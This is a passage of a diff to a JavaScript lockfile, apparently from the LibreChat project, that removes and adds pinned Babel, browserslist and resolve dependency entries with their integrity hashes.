- "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-dotall-regex/@babel/helper-create-regexp-features-plugin/regexpu-core": ["regexpu-core@6.4.0", "", { "dependencies": { "regenerate": "^1.4.2", "regenerate-unicode-properties": "^10.2.2", "regjsgen": "^0.8.0", "regjsparser": "^0.13.0", "unicode-match-property-ecmascript": "^2.0.0", "unicode-match-property-value-ecmascript": "^2.2.1" } }, "sha512-0ghuzq67LI9bLXpOX/ISfve/Mq33a4aFRzoQYhnnok1JOFpmE/A2TBGkNVenOGEeSBCjIiWcc6MVOG5HEQv0sA=="],
-
- "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-duplicate-named-capturing-groups-regex/@babel/helper-create-regexp-features-plugin/@babel/helper-annotate-as-pure": ["@babel/helper-annotate-as-pure@7.27.3", "", { "dependencies": { "@babel/types": "^7.27.3" } }, "sha512-fXSwMQqitTGeHLBC08Eq5yXz2m37E4pJX1qAU1+2cNedz/ifv/bVXft90VeSav5nFO61EcNgwr0aJxbyPaWBPg=="],
-
- "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-duplicate-named-capturing-groups-regex/@babel/helper-create-regexp-features-plugin/regexpu-core": ["regexpu-core@6.4.0", "", { "dependencies": { "regenerate": "^1.4.2", "regenerate-unicode-properties": "^10.2.2", "regjsgen": "^0.8.0", "regjsparser": "^0.13.0", "unicode-match-property-ecmascript": "^2.0.0", "unicode-match-property-value-ecmascript": "^2.2.1" } }, "sha512-0ghuzq67LI9bLXpOX/ISfve/Mq33a4aFRzoQYhnnok1JOFpmE/A2TBGkNVenOGEeSBCjIiWcc6MVOG5HEQv0sA=="],
-
- "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-named-capturing-groups-regex/@babel/helper-create-regexp-features-plugin/@babel/helper-annotate-as-pure": ["@babel/helper-annotate-as-pure@7.27.3", "", { "dependencies": { "@babel/types": "^7.27.3" } }, "sha512-fXSwMQqitTGeHLBC08Eq5yXz2m37E4pJX1qAU1+2cNedz/ifv/bVXft90VeSav5nFO61EcNgwr0aJxbyPaWBPg=="],
-
- "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-named-capturing-groups-regex/@babel/helper-create-regexp-features-plugin/regexpu-core": ["regexpu-core@6.4.0", "", { "dependencies": { "regenerate": "^1.4.2", "regenerate-unicode-properties": "^10.2.2", "regjsgen": "^0.8.0", "regjsparser": "^0.13.0", "unicode-match-property-ecmascript": "^2.0.0", "unicode-match-property-value-ecmascript": "^2.2.1" } }, "sha512-0ghuzq67LI9bLXpOX/ISfve/Mq33a4aFRzoQYhnnok1JOFpmE/A2TBGkNVenOGEeSBCjIiWcc6MVOG5HEQv0sA=="],
-
- "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-object-super/@babel/helper-replace-supers/@babel/helper-member-expression-to-functions": ["@babel/helper-member-expression-to-functions@7.28.5", "", { "dependencies": { "@babel/traverse": "^7.28.5", "@babel/types": "^7.28.5" } }, "sha512-cwM7SBRZcPCLgl8a7cY0soT1SptSzAlMH39vwiRpOQkJlh53r5hdHwLSCZpQdVLT39sZt+CRpNwYG4Y2v77atg=="],
-
- "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-object-super/@babel/helper-replace-supers/@babel/helper-optimise-call-expression": ["@babel/helper-optimise-call-expression@7.27.1", "", { "dependencies": { "@babel/types": "^7.27.1" } }, "sha512-URMGH08NzYFhubNSGJrpUEphGKQwMQYBySzat5cAByY1/YgIRkULnIy3tAMeszlL/so2HbeilYloUmSpd7GdVw=="],
-
- "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-private-methods/@babel/helper-create-class-features-plugin/@babel/helper-annotate-as-pure": ["@babel/helper-annotate-as-pure@7.27.3", "", { "dependencies": { "@babel/types": "^7.27.3" } }, "sha512-fXSwMQqitTGeHLBC08Eq5yXz2m37E4pJX1qAU1+2cNedz/ifv/bVXft90VeSav5nFO61EcNgwr0aJxbyPaWBPg=="],
-
- "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-private-methods/@babel/helper-create-class-features-plugin/@babel/helper-member-expression-to-functions": ["@babel/helper-member-expression-to-functions@7.28.5", "", { "dependencies": { "@babel/traverse": "^7.28.5", "@babel/types": "^7.28.5" } }, "sha512-cwM7SBRZcPCLgl8a7cY0soT1SptSzAlMH39vwiRpOQkJlh53r5hdHwLSCZpQdVLT39sZt+CRpNwYG4Y2v77atg=="],
-
- "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-private-methods/@babel/helper-create-class-features-plugin/@babel/helper-optimise-call-expression": ["@babel/helper-optimise-call-expression@7.27.1", "", { "dependencies": { "@babel/types": "^7.27.1" } }, "sha512-URMGH08NzYFhubNSGJrpUEphGKQwMQYBySzat5cAByY1/YgIRkULnIy3tAMeszlL/so2HbeilYloUmSpd7GdVw=="],
-
- "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-private-methods/@babel/helper-create-class-features-plugin/@babel/helper-replace-supers": ["@babel/helper-replace-supers@7.27.1", "", { "dependencies": { "@babel/helper-member-expression-to-functions": "^7.27.1", "@babel/helper-optimise-call-expression": "^7.27.1", "@babel/traverse": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-7EHz6qDZc8RYS5ElPoShMheWvEgERonFCs7IAonWLLUTXW59DP14bCZt89/GKyreYn8g3S83m21FelHKbeDCKA=="],
-
- "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-private-methods/@babel/helper-create-class-features-plugin/@babel/helper-skip-transparent-expression-wrappers": ["@babel/helper-skip-transparent-expression-wrappers@7.27.1", "", { "dependencies": { "@babel/traverse": "^7.27.1", "@babel/types": "^7.27.1" } }, "sha512-Tub4ZKEXqbPjXgWLl2+3JpQAYBJ8+ikpQ2Ocj/q/r0LwE3UhENh7EUabyHjz2kCEsrRY83ew2DQdHluuiDQFzg=="],
-
- "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-private-property-in-object/@babel/helper-create-class-features-plugin/@babel/helper-member-expression-to-functions": ["@babel/helper-member-expression-to-functions@7.28.5", "", { "dependencies": { "@babel/traverse": "^7.28.5", "@babel/types": "^7.28.5" } }, "sha512-cwM7SBRZcPCLgl8a7cY0soT1SptSzAlMH39vwiRpOQkJlh53r5hdHwLSCZpQdVLT39sZt+CRpNwYG4Y2v77atg=="],
-
- "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-private-property-in-object/@babel/helper-create-class-features-plugin/@babel/helper-optimise-call-expression": ["@babel/helper-optimise-call-expression@7.27.1", "", { "dependencies": { "@babel/types": "^7.27.1" } }, "sha512-URMGH08NzYFhubNSGJrpUEphGKQwMQYBySzat5cAByY1/YgIRkULnIy3tAMeszlL/so2HbeilYloUmSpd7GdVw=="],
-
- "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-private-property-in-object/@babel/helper-create-class-features-plugin/@babel/helper-replace-supers": ["@babel/helper-replace-supers@7.27.1", "", { "dependencies": { "@babel/helper-member-expression-to-functions": "^7.27.1", "@babel/helper-optimise-call-expression": "^7.27.1", "@babel/traverse": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-7EHz6qDZc8RYS5ElPoShMheWvEgERonFCs7IAonWLLUTXW59DP14bCZt89/GKyreYn8g3S83m21FelHKbeDCKA=="],
-
- "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-private-property-in-object/@babel/helper-create-class-features-plugin/@babel/helper-skip-transparent-expression-wrappers": ["@babel/helper-skip-transparent-expression-wrappers@7.27.1", "", { "dependencies": { "@babel/traverse": "^7.27.1", "@babel/types": "^7.27.1" } }, "sha512-Tub4ZKEXqbPjXgWLl2+3JpQAYBJ8+ikpQ2Ocj/q/r0LwE3UhENh7EUabyHjz2kCEsrRY83ew2DQdHluuiDQFzg=="],
-
- "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-regexp-modifiers/@babel/helper-create-regexp-features-plugin/@babel/helper-annotate-as-pure": ["@babel/helper-annotate-as-pure@7.27.3", "", { "dependencies": { "@babel/types": "^7.27.3" } }, "sha512-fXSwMQqitTGeHLBC08Eq5yXz2m37E4pJX1qAU1+2cNedz/ifv/bVXft90VeSav5nFO61EcNgwr0aJxbyPaWBPg=="],
-
- "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-regexp-modifiers/@babel/helper-create-regexp-features-plugin/regexpu-core": ["regexpu-core@6.4.0", "", { "dependencies": { "regenerate": "^1.4.2", "regenerate-unicode-properties": "^10.2.2", "regjsgen": "^0.8.0", "regjsparser": "^0.13.0", "unicode-match-property-ecmascript": "^2.0.0", "unicode-match-property-value-ecmascript": "^2.2.1" } }, "sha512-0ghuzq67LI9bLXpOX/ISfve/Mq33a4aFRzoQYhnnok1JOFpmE/A2TBGkNVenOGEeSBCjIiWcc6MVOG5HEQv0sA=="],
-
- "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-unicode-property-regex/@babel/helper-create-regexp-features-plugin/@babel/helper-annotate-as-pure": ["@babel/helper-annotate-as-pure@7.27.3", "", { "dependencies": { "@babel/types": "^7.27.3" } }, "sha512-fXSwMQqitTGeHLBC08Eq5yXz2m37E4pJX1qAU1+2cNedz/ifv/bVXft90VeSav5nFO61EcNgwr0aJxbyPaWBPg=="],
-
- "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-unicode-property-regex/@babel/helper-create-regexp-features-plugin/regexpu-core": ["regexpu-core@6.4.0", "", { "dependencies": { "regenerate": "^1.4.2", "regenerate-unicode-properties": "^10.2.2", "regjsgen": "^0.8.0", "regjsparser": "^0.13.0", "unicode-match-property-ecmascript": "^2.0.0", "unicode-match-property-value-ecmascript": "^2.2.1" } }, "sha512-0ghuzq67LI9bLXpOX/ISfve/Mq33a4aFRzoQYhnnok1JOFpmE/A2TBGkNVenOGEeSBCjIiWcc6MVOG5HEQv0sA=="],
-
- "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-unicode-regex/@babel/helper-create-regexp-features-plugin/@babel/helper-annotate-as-pure": ["@babel/helper-annotate-as-pure@7.27.3", "", { "dependencies": { "@babel/types": "^7.27.3" } }, "sha512-fXSwMQqitTGeHLBC08Eq5yXz2m37E4pJX1qAU1+2cNedz/ifv/bVXft90VeSav5nFO61EcNgwr0aJxbyPaWBPg=="],
-
- "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-unicode-regex/@babel/helper-create-regexp-features-plugin/regexpu-core": ["regexpu-core@6.4.0", "", { "dependencies": { "regenerate": "^1.4.2", "regenerate-unicode-properties": "^10.2.2", "regjsgen": "^0.8.0", "regjsparser": "^0.13.0", "unicode-match-property-ecmascript": "^2.0.0", "unicode-match-property-value-ecmascript": "^2.2.1" } }, "sha512-0ghuzq67LI9bLXpOX/ISfve/Mq33a4aFRzoQYhnnok1JOFpmE/A2TBGkNVenOGEeSBCjIiWcc6MVOG5HEQv0sA=="],
-
- "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-unicode-sets-regex/@babel/helper-create-regexp-features-plugin/@babel/helper-annotate-as-pure": ["@babel/helper-annotate-as-pure@7.27.3", "", { "dependencies": { "@babel/types": "^7.27.3" } }, "sha512-fXSwMQqitTGeHLBC08Eq5yXz2m37E4pJX1qAU1+2cNedz/ifv/bVXft90VeSav5nFO61EcNgwr0aJxbyPaWBPg=="],
-
- "librechat-data-provider/@babel/preset-env/@babel/plugin-transform-unicode-sets-regex/@babel/helper-create-regexp-features-plugin/regexpu-core": ["regexpu-core@6.4.0", "", { "dependencies": { "regenerate": "^1.4.2", "regenerate-unicode-properties": "^10.2.2", "regjsgen": "^0.8.0", "regjsparser": "^0.13.0", "unicode-match-property-ecmascript": "^2.0.0", "unicode-match-property-value-ecmascript": "^2.2.1" } }, "sha512-0ghuzq67LI9bLXpOX/ISfve/Mq33a4aFRzoQYhnnok1JOFpmE/A2TBGkNVenOGEeSBCjIiWcc6MVOG5HEQv0sA=="],
-
- "librechat-data-provider/@babel/preset-env/babel-plugin-polyfill-corejs2/@babel/helper-define-polyfill-provider/debug": ["debug@4.4.3", "", { "dependencies": { "ms": "^2.1.3" } }, "sha512-RGwwWnwQvkVfavKVt22FGLw+xYSdzARwm0ru6DhTVA3umU5hZc28V3kO4stgYryrTlLpuvgI9GiijltAjNbcqA=="],
-
- "librechat-data-provider/@babel/preset-env/babel-plugin-polyfill-corejs2/@babel/helper-define-polyfill-provider/resolve": ["resolve@1.22.11", "", { "dependencies": { "is-core-module": "^2.16.1", "path-parse": "^1.0.7", "supports-preserve-symlinks-flag": "^1.0.0" }, "bin": { "resolve": "bin/resolve" } }, "sha512-RfqAvLnMl313r7c9oclB1HhUEAezcpLjz95wFH4LVuhk9JF/r22qmVP9AMmOU4vMX7Q8pN8jwNg/CSpdFnMjTQ=="],
-
- "librechat-data-provider/@babel/preset-env/babel-plugin-polyfill-corejs3/@babel/helper-define-polyfill-provider/debug": ["debug@4.4.3", "", { "dependencies": { "ms": "^2.1.3" } }, "sha512-RGwwWnwQvkVfavKVt22FGLw+xYSdzARwm0ru6DhTVA3umU5hZc28V3kO4stgYryrTlLpuvgI9GiijltAjNbcqA=="],
-
- "librechat-data-provider/@babel/preset-env/babel-plugin-polyfill-corejs3/@babel/helper-define-polyfill-provider/resolve": ["resolve@1.22.11", "", { "dependencies": { "is-core-module": "^2.16.1", "path-parse": "^1.0.7", "supports-preserve-symlinks-flag": "^1.0.0" }, "bin": { "resolve": "bin/resolve" } }, "sha512-RfqAvLnMl313r7c9oclB1HhUEAezcpLjz95wFH4LVuhk9JF/r22qmVP9AMmOU4vMX7Q8pN8jwNg/CSpdFnMjTQ=="],
-
- "librechat-data-provider/@babel/preset-env/babel-plugin-polyfill-regenerator/@babel/helper-define-polyfill-provider/debug": ["debug@4.4.3", "", { "dependencies": { "ms": "^2.1.3" } }, "sha512-RGwwWnwQvkVfavKVt22FGLw+xYSdzARwm0ru6DhTVA3umU5hZc28V3kO4stgYryrTlLpuvgI9GiijltAjNbcqA=="],
-
- "librechat-data-provider/@babel/preset-env/babel-plugin-polyfill-regenerator/@babel/helper-define-polyfill-provider/resolve": ["resolve@1.22.11", "", { "dependencies": { "is-core-module": "^2.16.1", "path-parse": "^1.0.7", "supports-preserve-symlinks-flag": "^1.0.0" }, "bin": { "resolve": "bin/resolve" } }, "sha512-RfqAvLnMl313r7c9oclB1HhUEAezcpLjz95wFH4LVuhk9JF/r22qmVP9AMmOU4vMX7Q8pN8jwNg/CSpdFnMjTQ=="],
-
- "librechat-data-provider/@babel/preset-env/core-js-compat/browserslist/update-browserslist-db": ["update-browserslist-db@1.1.4", "", { "dependencies": { "escalade": "^3.2.0", "picocolors": "^1.1.1" }, "peerDependencies": { "browserslist": ">= 4.21.0" }, "bin": "cli.js" }, "sha512-q0SPT4xyU84saUX+tomz1WLkxUbuaJnR1xWt17M7fJtEJigJeWUNGUqrauFXsHnqev9y9JTRGwk13tFBuKby4A=="],
-
- "librechat-data-provider/@babel/preset-typescript/@babel/plugin-transform-typescript/@babel/helper-create-class-features-plugin/@babel/helper-member-expression-to-functions": ["@babel/helper-member-expression-to-functions@7.28.5", "", { "dependencies": { "@babel/traverse": "^7.28.5", "@babel/types": "^7.28.5" } }, "sha512-cwM7SBRZcPCLgl8a7cY0soT1SptSzAlMH39vwiRpOQkJlh53r5hdHwLSCZpQdVLT39sZt+CRpNwYG4Y2v77atg=="],
-
- "librechat-data-provider/@babel/preset-typescript/@babel/plugin-transform-typescript/@babel/helper-create-class-features-plugin/@babel/helper-optimise-call-expression": ["@babel/helper-optimise-call-expression@7.27.1", "", { "dependencies": { "@babel/types": "^7.27.1" } }, "sha512-URMGH08NzYFhubNSGJrpUEphGKQwMQYBySzat5cAByY1/YgIRkULnIy3tAMeszlL/so2HbeilYloUmSpd7GdVw=="],
-
- "librechat-data-provider/@babel/preset-typescript/@babel/plugin-transform-typescript/@babel/helper-create-class-features-plugin/@babel/helper-replace-supers": ["@babel/helper-replace-supers@7.27.1", "", { "dependencies": { "@babel/helper-member-expression-to-functions": "^7.27.1", "@babel/helper-optimise-call-expression": "^7.27.1", "@babel/traverse": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-7EHz6qDZc8RYS5ElPoShMheWvEgERonFCs7IAonWLLUTXW59DP14bCZt89/GKyreYn8g3S83m21FelHKbeDCKA=="],
-
"pkg-dir/find-up/locate-path/p-locate/p-limit": ["p-limit@2.3.0", "", { "dependencies": { "p-try": "^2.0.0" } }, "sha512-//88mFWSJx8lxCzwdAABTJL2MyWB12+eIY7MDL2SqLmAkeKU9qxRvWuSyTjm3FUmpBEMuFfckAIqEaVGUDxb6w=="],
"svgo/css-select/domutils/dom-serializer/entities": ["entities@2.2.0", "", {}, "sha512-p92if5Nz619I0w+akJrLZH0MX0Pb5DX39XOwQTtXSdQQOaYH03S1uIQp4mhOZtAXrxq4ViO67YTiLBo2638o9A=="],
- "workbox-build/@babel/preset-env/@babel/plugin-transform-async-generator-functions/@babel/helper-remap-async-to-generator/@babel/helper-wrap-function": ["@babel/helper-wrap-function@7.22.20", "", { "dependencies": { "@babel/helper-function-name": "^7.22.5", "@babel/template": "^7.22.15", "@babel/types": "^7.22.19" } }, "sha512-pms/UwkOpnQe/PDAEdV/d7dVCoBbB+R4FvYoHGZz+4VPcg7RtYy2KP7S2lbuWM6FCSgob5wshfGESbC/hzNXZw=="],
+ "workbox-build/@babel/core/@babel/helper-compilation-targets/browserslist/caniuse-lite": ["caniuse-lite@1.0.30001777", "", {}, "sha512-tmN+fJxroPndC74efCdp12j+0rk0RHwV5Jwa1zWaFVyw2ZxAuPeG8ZgWC3Wz7uSjT3qMRQ5XHZ4COgQmsCMJAQ=="],
- "workbox-build/@babel/preset-env/@babel/plugin-transform-async-to-generator/@babel/helper-remap-async-to-generator/@babel/helper-wrap-function": ["@babel/helper-wrap-function@7.22.20", "", { "dependencies": { "@babel/helper-function-name": "^7.22.5", "@babel/template": "^7.22.15", "@babel/types": "^7.22.19" } }, "sha512-pms/UwkOpnQe/PDAEdV/d7dVCoBbB+R4FvYoHGZz+4VPcg7RtYy2KP7S2lbuWM6FCSgob5wshfGESbC/hzNXZw=="],
+ "workbox-build/@babel/core/@babel/helper-compilation-targets/browserslist/electron-to-chromium": ["electron-to-chromium@1.5.307", "", {}, "sha512-5z3uFKBWjiNR44nFcYdkcXjKMbg5KXNdciu7mhTPo9tB7NbqSNP2sSnGR+fqknZSCwKkBN+oxiiajWs4dT6ORg=="],
- "workbox-build/@babel/preset-env/@babel/plugin-transform-class-properties/@babel/helper-create-class-features-plugin/@babel/helper-member-expression-to-functions": ["@babel/helper-member-expression-to-functions@7.23.0", "", { "dependencies": { "@babel/types": "^7.23.0" } }, "sha512-6gfrPwh7OuT6gZyJZvd6WbTfrqAo7vm4xCzAXOusKqq/vWdKXphTpj5klHKNmRUU6/QRGlBsyU9mAIPaWHlqJA=="],
+ "workbox-build/@babel/core/@babel/helper-compilation-targets/browserslist/update-browserslist-db": ["update-browserslist-db@1.2.3", "", { "dependencies": { "escalade": "^3.2.0", "picocolors": "^1.1.1" }, "peerDependencies": { "browserslist": ">= 4.21.0" }, "bin": { "update-browserslist-db": "cli.js" } }, "sha512-Js0m9cx+qOgDxo0eMiFGEueWztz+d4+M3rGlmKPT+T4IS/jP4ylw3Nwpu6cpTTP8R1MAC1kF4VbdLt3ARf209w=="],
- "workbox-build/@babel/preset-env/@babel/plugin-transform-class-properties/@babel/helper-create-class-features-plugin/@babel/helper-optimise-call-expression": ["@babel/helper-optimise-call-expression@7.22.5", "", { "dependencies": { "@babel/types": "^7.22.5" } }, "sha512-HBwaojN0xFRx4yIvpwGqxiV2tUfl7401jlok564NgB9EHS1y6QT17FmKWm4ztqjeVdXLuC4fSvHc5ePpQjoTbw=="],
-
- "workbox-build/@babel/preset-env/@babel/plugin-transform-class-properties/@babel/helper-create-class-features-plugin/@babel/helper-replace-supers": ["@babel/helper-replace-supers@7.22.20", "", { "dependencies": { "@babel/helper-environment-visitor": "^7.22.20", "@babel/helper-member-expression-to-functions": "^7.22.15", "@babel/helper-optimise-call-expression": "^7.22.5" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-qsW0In3dbwQUbK8kejJ4R7IHVGwHJlV6lpG6UA7a9hSa2YEiAib+N1T2kr6PEeUT+Fl7najmSOS6SmAwCHK6Tw=="],
-
- "workbox-build/@babel/preset-env/@babel/plugin-transform-class-properties/@babel/helper-create-class-features-plugin/@babel/helper-skip-transparent-expression-wrappers": ["@babel/helper-skip-transparent-expression-wrappers@7.22.5", "", { "dependencies": { "@babel/types": "^7.22.5" } }, "sha512-tK14r66JZKiC43p8Ki33yLBVJKlQDFoA8GYN67lWCDCqoL6EMMSuM9b+Iff2jHaM/RRFYl7K+iiru7hbRqNx8Q=="],
-
- "workbox-build/@babel/preset-env/@babel/plugin-transform-class-static-block/@babel/helper-create-class-features-plugin/@babel/helper-member-expression-to-functions": ["@babel/helper-member-expression-to-functions@7.23.0", "", { "dependencies": { "@babel/types": "^7.23.0" } }, "sha512-6gfrPwh7OuT6gZyJZvd6WbTfrqAo7vm4xCzAXOusKqq/vWdKXphTpj5klHKNmRUU6/QRGlBsyU9mAIPaWHlqJA=="],
-
- "workbox-build/@babel/preset-env/@babel/plugin-transform-class-static-block/@babel/helper-create-class-features-plugin/@babel/helper-optimise-call-expression": ["@babel/helper-optimise-call-expression@7.22.5", "", { "dependencies": { "@babel/types": "^7.22.5" } }, "sha512-HBwaojN0xFRx4yIvpwGqxiV2tUfl7401jlok564NgB9EHS1y6QT17FmKWm4ztqjeVdXLuC4fSvHc5ePpQjoTbw=="],
-
- "workbox-build/@babel/preset-env/@babel/plugin-transform-class-static-block/@babel/helper-create-class-features-plugin/@babel/helper-replace-supers": ["@babel/helper-replace-supers@7.22.20", "", { "dependencies": { "@babel/helper-environment-visitor": "^7.22.20", "@babel/helper-member-expression-to-functions": "^7.22.15", "@babel/helper-optimise-call-expression": "^7.22.5" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-qsW0In3dbwQUbK8kejJ4R7IHVGwHJlV6lpG6UA7a9hSa2YEiAib+N1T2kr6PEeUT+Fl7najmSOS6SmAwCHK6Tw=="],
-
- "workbox-build/@babel/preset-env/@babel/plugin-transform-class-static-block/@babel/helper-create-class-features-plugin/@babel/helper-skip-transparent-expression-wrappers": ["@babel/helper-skip-transparent-expression-wrappers@7.22.5", "", { "dependencies": { "@babel/types": "^7.22.5" } }, "sha512-tK14r66JZKiC43p8Ki33yLBVJKlQDFoA8GYN67lWCDCqoL6EMMSuM9b+Iff2jHaM/RRFYl7K+iiru7hbRqNx8Q=="],
-
- "workbox-build/@babel/preset-env/@babel/plugin-transform-classes/@babel/helper-replace-supers/@babel/helper-member-expression-to-functions": ["@babel/helper-member-expression-to-functions@7.23.0", "", { "dependencies": { "@babel/types": "^7.23.0" } }, "sha512-6gfrPwh7OuT6gZyJZvd6WbTfrqAo7vm4xCzAXOusKqq/vWdKXphTpj5klHKNmRUU6/QRGlBsyU9mAIPaWHlqJA=="],
-
- "workbox-build/@babel/preset-env/@babel/plugin-transform-classes/@babel/helper-replace-supers/@babel/helper-optimise-call-expression": ["@babel/helper-optimise-call-expression@7.22.5", "", { "dependencies": { "@babel/types": "^7.22.5" } }, "sha512-HBwaojN0xFRx4yIvpwGqxiV2tUfl7401jlok564NgB9EHS1y6QT17FmKWm4ztqjeVdXLuC4fSvHc5ePpQjoTbw=="],
-
- "workbox-build/@babel/preset-env/@babel/plugin-transform-object-super/@babel/helper-replace-supers/@babel/helper-member-expression-to-functions": ["@babel/helper-member-expression-to-functions@7.23.0", "", { "dependencies": { "@babel/types": "^7.23.0" } }, "sha512-6gfrPwh7OuT6gZyJZvd6WbTfrqAo7vm4xCzAXOusKqq/vWdKXphTpj5klHKNmRUU6/QRGlBsyU9mAIPaWHlqJA=="],
-
- "workbox-build/@babel/preset-env/@babel/plugin-transform-object-super/@babel/helper-replace-supers/@babel/helper-optimise-call-expression": ["@babel/helper-optimise-call-expression@7.22.5", "", { "dependencies": { "@babel/types": "^7.22.5" } }, "sha512-HBwaojN0xFRx4yIvpwGqxiV2tUfl7401jlok564NgB9EHS1y6QT17FmKWm4ztqjeVdXLuC4fSvHc5ePpQjoTbw=="],
-
- "workbox-build/@babel/preset-env/@babel/plugin-transform-private-methods/@babel/helper-create-class-features-plugin/@babel/helper-member-expression-to-functions": ["@babel/helper-member-expression-to-functions@7.23.0", "", { "dependencies": { "@babel/types": "^7.23.0" } }, "sha512-6gfrPwh7OuT6gZyJZvd6WbTfrqAo7vm4xCzAXOusKqq/vWdKXphTpj5klHKNmRUU6/QRGlBsyU9mAIPaWHlqJA=="],
-
- "workbox-build/@babel/preset-env/@babel/plugin-transform-private-methods/@babel/helper-create-class-features-plugin/@babel/helper-optimise-call-expression": ["@babel/helper-optimise-call-expression@7.22.5", "", { "dependencies": { "@babel/types": "^7.22.5" } }, "sha512-HBwaojN0xFRx4yIvpwGqxiV2tUfl7401jlok564NgB9EHS1y6QT17FmKWm4ztqjeVdXLuC4fSvHc5ePpQjoTbw=="],
-
- "workbox-build/@babel/preset-env/@babel/plugin-transform-private-methods/@babel/helper-create-class-features-plugin/@babel/helper-replace-supers": ["@babel/helper-replace-supers@7.22.20", "", { "dependencies": { "@babel/helper-environment-visitor": "^7.22.20", "@babel/helper-member-expression-to-functions": "^7.22.15", "@babel/helper-optimise-call-expression": "^7.22.5" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-qsW0In3dbwQUbK8kejJ4R7IHVGwHJlV6lpG6UA7a9hSa2YEiAib+N1T2kr6PEeUT+Fl7najmSOS6SmAwCHK6Tw=="],
-
- "workbox-build/@babel/preset-env/@babel/plugin-transform-private-methods/@babel/helper-create-class-features-plugin/@babel/helper-skip-transparent-expression-wrappers": ["@babel/helper-skip-transparent-expression-wrappers@7.22.5", "", { "dependencies": { "@babel/types": "^7.22.5" } }, "sha512-tK14r66JZKiC43p8Ki33yLBVJKlQDFoA8GYN67lWCDCqoL6EMMSuM9b+Iff2jHaM/RRFYl7K+iiru7hbRqNx8Q=="],
-
- "workbox-build/@babel/preset-env/@babel/plugin-transform-private-property-in-object/@babel/helper-create-class-features-plugin/@babel/helper-member-expression-to-functions": ["@babel/helper-member-expression-to-functions@7.23.0", "", { "dependencies": { "@babel/types": "^7.23.0" } }, "sha512-6gfrPwh7OuT6gZyJZvd6WbTfrqAo7vm4xCzAXOusKqq/vWdKXphTpj5klHKNmRUU6/QRGlBsyU9mAIPaWHlqJA=="],
-
- "workbox-build/@babel/preset-env/@babel/plugin-transform-private-property-in-object/@babel/helper-create-class-features-plugin/@babel/helper-optimise-call-expression": ["@babel/helper-optimise-call-expression@7.22.5", "", { "dependencies": { "@babel/types": "^7.22.5" } }, "sha512-HBwaojN0xFRx4yIvpwGqxiV2tUfl7401jlok564NgB9EHS1y6QT17FmKWm4ztqjeVdXLuC4fSvHc5ePpQjoTbw=="],
-
- "workbox-build/@babel/preset-env/@babel/plugin-transform-private-property-in-object/@babel/helper-create-class-features-plugin/@babel/helper-replace-supers": ["@babel/helper-replace-supers@7.22.20", "", { "dependencies": { "@babel/helper-environment-visitor": "^7.22.20", "@babel/helper-member-expression-to-functions": "^7.22.15", "@babel/helper-optimise-call-expression": "^7.22.5" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-qsW0In3dbwQUbK8kejJ4R7IHVGwHJlV6lpG6UA7a9hSa2YEiAib+N1T2kr6PEeUT+Fl7najmSOS6SmAwCHK6Tw=="],
-
- "workbox-build/@babel/preset-env/@babel/plugin-transform-private-property-in-object/@babel/helper-create-class-features-plugin/@babel/helper-skip-transparent-expression-wrappers": ["@babel/helper-skip-transparent-expression-wrappers@7.22.5", "", { "dependencies": { "@babel/types": "^7.22.5" } }, "sha512-tK14r66JZKiC43p8Ki33yLBVJKlQDFoA8GYN67lWCDCqoL6EMMSuM9b+Iff2jHaM/RRFYl7K+iiru7hbRqNx8Q=="],
-
- "workbox-build/@babel/preset-env/babel-plugin-polyfill-corejs2/@babel/helper-define-polyfill-provider/resolve": ["resolve@1.22.8", "", { "dependencies": { "is-core-module": "^2.13.0", "path-parse": "^1.0.7", "supports-preserve-symlinks-flag": "^1.0.0" }, "bin": "bin/resolve" }, "sha512-oKWePCxqpd6FlLvGV1VU0x7bkPmmCNolxzjMf4NczoDnQcIWrAF+cPtZn5i6n+RfD2d9i0tzpKnG6Yk168yIyw=="],
-
- "workbox-build/@babel/preset-env/babel-plugin-polyfill-corejs3/@babel/helper-define-polyfill-provider/resolve": ["resolve@1.22.8", "", { "dependencies": { "is-core-module": "^2.13.0", "path-parse": "^1.0.7", "supports-preserve-symlinks-flag": "^1.0.0" }, "bin": "bin/resolve" }, "sha512-oKWePCxqpd6FlLvGV1VU0x7bkPmmCNolxzjMf4NczoDnQcIWrAF+cPtZn5i6n+RfD2d9i0tzpKnG6Yk168yIyw=="],
-
- "workbox-build/@babel/preset-env/babel-plugin-polyfill-regenerator/@babel/helper-define-polyfill-provider/resolve": ["resolve@1.22.8", "", { "dependencies": { "is-core-module": "^2.13.0", "path-parse": "^1.0.7", "supports-preserve-symlinks-flag": "^1.0.0" }, "bin": "bin/resolve" }, "sha512-oKWePCxqpd6FlLvGV1VU0x7bkPmmCNolxzjMf4NczoDnQcIWrAF+cPtZn5i6n+RfD2d9i0tzpKnG6Yk168yIyw=="],
-
